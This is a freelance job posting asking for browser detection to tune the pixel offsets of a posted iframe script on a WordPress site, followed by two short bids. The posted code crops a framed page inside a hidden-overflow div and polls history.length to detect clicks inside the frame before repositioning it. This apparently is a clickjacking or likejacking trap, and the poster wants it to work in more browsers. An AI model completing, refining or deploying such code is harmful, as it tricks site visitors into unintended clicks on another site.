Create a browser detection script.
$30-250 USD
Pagado a la entrega
Create a browser detection script and then dynamically change my iframe/div details on the fly depending on the browser.
Must be compatible with Wordpress
I need to detect popular browsers such as IE, Firefox, and Chrome then dynamically replace the iFrames px based on the browser.
The iFrame script I'm using is
Head -
<script type='text/javascript'>
different=1;
base=1;
function raf(arg) {
document.getElementById('bframe').style.left = '-407px';
document.getElementById('bframe').style.top = '-390px';
document.getElementById('bframe').style.height = '1054px';
document.getElementById('bframe').style.width = '1476px';
document.getElementById('odiv').style.height = '585px';
document.getElementById('odiv').style.width = '393px';
}
</script>
and in the body is
<div style="overflow: hidden; width: 698px; height: 116px; position: relative;" id="odiv"><iframe id="bframe" onload="window.ghost1=function(arg){window.ghost2=arg;
if(different<4){
different++;
base=arg;
}else{if(window.ghost2==(base+1)){raf();}}
setTimeout("window.ghost1(history.length)",1050);}
setTimeout("window.ghost1(history.length)",530);" name="bframe" src="google.com" style="border: 0pt none ; left: -259px; top: -392px; position: absolute; width: 1280px; height: 899px;" scrolling="no"></iframe></div>
Nº del proyecto: #1230681
Sobre el proyecto
Adjudicado a:
6 freelancers están ofertando un promedio de $37 por este trabajo
Hello! I am a web-dev who recently switched to freelancing and would be happy to help you with the plugin development. Please contact me if you have any questions. Have a nice day :)
Hi, We are experienced in Javascript and able to help you on detecting the browser. In fact, based on our experience, you need to detect the operating system also, because a browser may behave differently on differe Más